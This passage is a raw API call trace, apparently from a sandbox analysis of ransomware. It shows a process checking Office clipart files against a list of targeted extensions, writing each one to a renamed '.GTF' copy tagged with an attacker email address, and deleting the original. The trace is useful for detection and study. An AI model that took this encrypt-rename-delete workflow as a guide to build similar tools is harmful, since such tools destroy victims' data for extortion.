	[0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.910] lstrlenW (lpString=".1cd") returned 4
	[0183.910] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185796.WMF") returned 68
	[0183.910] lstrlenW (lpString=".jpg") returned 4
	[0183.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.910] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0183.910] lstrlenW (lpString="J0186362.WMF") returned 12
	[0183.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.024] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=17662) returned 1
	[0184.024] CloseHandle (hObject=0x3fc) returned 1
	[0184.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 0x220
	[0184.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.025] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.025] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0184.026] GetLastError () returned 0x0
	[0184.026] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x44fe, lpOverlapped=0x0) returned 1
	[0184.028] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x4500, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x4500, lpOverlapped=0x0) returned 1
	[0184.029] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.029] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.029] SetEndOfFile (hFile=0x404) returned 1
	[0184.029] CloseHandle (hObject=0x404) returned 1
	[0184.029] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.029] SetEndOfFile (hFile=0x3fc) returned 1
	[0184.032] CloseHandle (hObject=0x3fc) returned 1
	[0184.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0186362.wmf")) returned 1
	[0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.035] lstrlenW (lpString=".doc") returned 4
	[0184.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.035] lstrlenW (lpString=".docx") returned 5
	[0184.035] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0184.035] lstrlenW (lpString=".pdf") returned 4
	[0184.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.035] lstrlenW (lpString=".xls") returned 4
	[0184.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.036] lstrlenW (lpString=".xlsx") returned 5
	[0184.036] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0184.036] lstrlenW (lpString=".ppt") returned 4
	[0184.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.036] lstrlenW (lpString=".zip") returned 4
	[0184.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.036] lstrlenW (lpString=".rar") returned 4
	[0184.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.036] lstrlenW (lpString=".bz2") returned 4
	[0184.036] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.036] lstrlenW (lpString=".7z") returned 3
	[0184.036] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.036] lstrlenW (lpString=".dbf") returned 4
	[0184.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.036] lstrlenW (lpString=".1cd") returned 4
	[0184.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.036] lstrlenW (lpString=".jpg") returned 4
	[0184.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.036] lstrlenW (lpString=".doc") returned 4
	[0184.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.036] lstrlenW (lpString=".docx") returned 5
	[0184.036] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0184.036] lstrlenW (lpString=".pdf") returned 4
	[0184.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.036] lstrlenW (lpString=".xls") returned 4
	[0184.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.036] lstrlenW (lpString=".xlsx") returned 5
	[0184.036] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0184.037] lstrlenW (lpString=".ppt") returned 4
	[0184.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.037] lstrlenW (lpString=".zip") returned 4
	[0184.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.037] lstrlenW (lpString=".rar") returned 4
	[0184.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.037] lstrlenW (lpString=".bz2") returned 4
	[0184.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.037] lstrlenW (lpString=".7z") returned 3
	[0184.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.037] lstrlenW (lpString=".dbf") returned 4
	[0184.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.037] lstrlenW (lpString=".1cd") returned 4
	[0184.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0186362.WMF") returned 68
	[0184.037] lstrlenW (lpString=".jpg") returned 4
	[0184.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.037] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.037] lstrlenW (lpString="J0187815.WMF") returned 12
	[0184.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.038] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=5376) returned 1
	[0184.039] CloseHandle (hObject=0x3fc) returned 1
	[0184.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 0x220
	[0184.039] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.039] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.039] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0184.040] GetLastError () returned 0x0
	[0184.040] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x1500, lpOverlapped=0x0) returned 1
	[0184.042] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x1510, lpOverlapped=0x0) returned 1
	[0184.043] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.043] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.044] SetEndOfFile (hFile=0x404) returned 1
	[0184.044] CloseHandle (hObject=0x404) returned 1
	[0184.044] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.044] SetEndOfFile (hFile=0x3fc) returned 1
	[0184.047] CloseHandle (hObject=0x3fc) returned 1
	[0184.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.047] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 1
	[0184.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.048] lstrlenW (lpString=".doc") returned 4
	[0184.048] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.048] lstrlenW (lpString=".docx") returned 5
	[0184.048] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0184.048] lstrlenW (lpString=".pdf") returned 4
	[0184.048] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.048] lstrlenW (lpString=".xls") returned 4
	[0184.048] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.048] lstrlenW (lpString=".xlsx") returned 5
	[0184.048] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0184.048] lstrlenW (lpString=".ppt") returned 4
	[0184.048] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.048] lstrlenW (lpString=".zip") returned 4
	[0184.048] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.048] lstrlenW (lpString=".rar") returned 4
	[0184.048] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.048] lstrlenW (lpString=".bz2") returned 4
	[0184.048] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.048] lstrlenW (lpString=".7z") returned 3
	[0184.048] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.048] lstrlenW (lpString=".dbf") returned 4
	[0184.048] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.049] lstrlenW (lpString=".1cd") returned 4
	[0184.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.049] lstrlenW (lpString=".jpg") returned 4
	[0184.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.049] lstrlenW (lpString=".doc") returned 4
	[0184.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.049] lstrlenW (lpString=".docx") returned 5
	[0184.049] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0184.049] lstrlenW (lpString=".pdf") returned 4
	[0184.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.049] lstrlenW (lpString=".xls") returned 4
	[0184.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.049] lstrlenW (lpString=".xlsx") returned 5
	[0184.049] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0184.049] lstrlenW (lpString=".ppt") returned 4
	[0184.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.049] lstrlenW (lpString=".zip") returned 4
	[0184.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.049] lstrlenW (lpString=".rar") returned 4
	[0184.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.049] lstrlenW (lpString=".bz2") returned 4
	[0184.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.049] lstrlenW (lpString=".7z") returned 3
	[0184.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.049] lstrlenW (lpString=".dbf") returned 4
	[0184.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.049] lstrlenW (lpString=".1cd") returned 4
	[0184.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68
	[0184.050] lstrlenW (lpString=".jpg") returned 4
	[0184.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.050] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0184.050] lstrlenW (lpString="J0187817.WMF") returned 12
	[0184.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.050] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x34cff14 | out: lpFileSize=0x34cff14*=11644) returned 1
	[0184.050] CloseHandle (hObject=0x3fc) returned 1
	[0184.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 0x220
	[0184.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0184.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0184.051] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.051] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404
	[0184.052] GetLastError () returned 0x0
	[0184.052] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x2d7c, lpOverlapped=0x0) returned 1
	[0184.330] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0184.331] ReadFile (in: hFile=0x3fc, lpBuffer=0x3ee0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesRead=0x34cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.331] WriteFile (in: hFile=0x404, lpBuffer=0x3ee0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ee0020*, lpNumberOfBytesWritten=0x34cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.331] SetEndOfFile (hFile=0x404) returned 1
	[0184.331] CloseHandle (hObject=0x404) returned 1
	[0184.331] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.332] SetEndOfFile (hFile=0x3fc) returned 1
	[0184.335] CloseHandle (hObject=0x3fc) returned 1
	[0184.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0184.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 1
	[0184.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.336] lstrlenW (lpString=".doc") returned 4
	[0184.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.336] lstrlenW (lpString=".docx") returned 5
	[0184.336] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.336] lstrlenW (lpString=".pdf") returned 4
	[0184.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.336] lstrlenW (lpString=".xls") returned 4
	[0184.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.337] lstrlenW (lpString=".xlsx") returned 5
	[0184.337] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.337] lstrlenW (lpString=".ppt") returned 4
	[0184.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.337] lstrlenW (lpString=".zip") returned 4
	[0184.337] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.337] lstrlenW (lpString=".rar") returned 4
	[0184.337] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.337] lstrlenW (lpString=".bz2") returned 4
	[0184.337] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.337] lstrlenW (lpString=".7z") returned 3
	[0184.337] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.337] lstrlenW (lpString=".dbf") returned 4
	[0184.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.337] lstrlenW (lpString=".1cd") returned 4
	[0184.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.337] lstrlenW (lpString=".jpg") returned 4
	[0184.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.337] lstrlenW (lpString=".doc") returned 4
	[0184.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.337] lstrlenW (lpString=".docx") returned 5
	[0184.337] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0184.337] lstrlenW (lpString=".pdf") returned 4
	[0184.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.337] lstrlenW (lpString=".xls") returned 4
	[0184.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.337] lstrlenW (lpString=".xlsx") returned 5
	[0184.337] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0184.338] lstrlenW (lpString=".ppt") returned 4
	[0184.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
	[0184.338] lstrlenW (lpString=".zip") returned 4
	[0184.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.338] lstrlenW (lpString=".rar") returned 4
	[0184.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.338] lstrlenW (lpString=".bz2") returned 4
	[0184.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.338] lstrlenW (lpString=".7z") returned 3
	[0184.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68
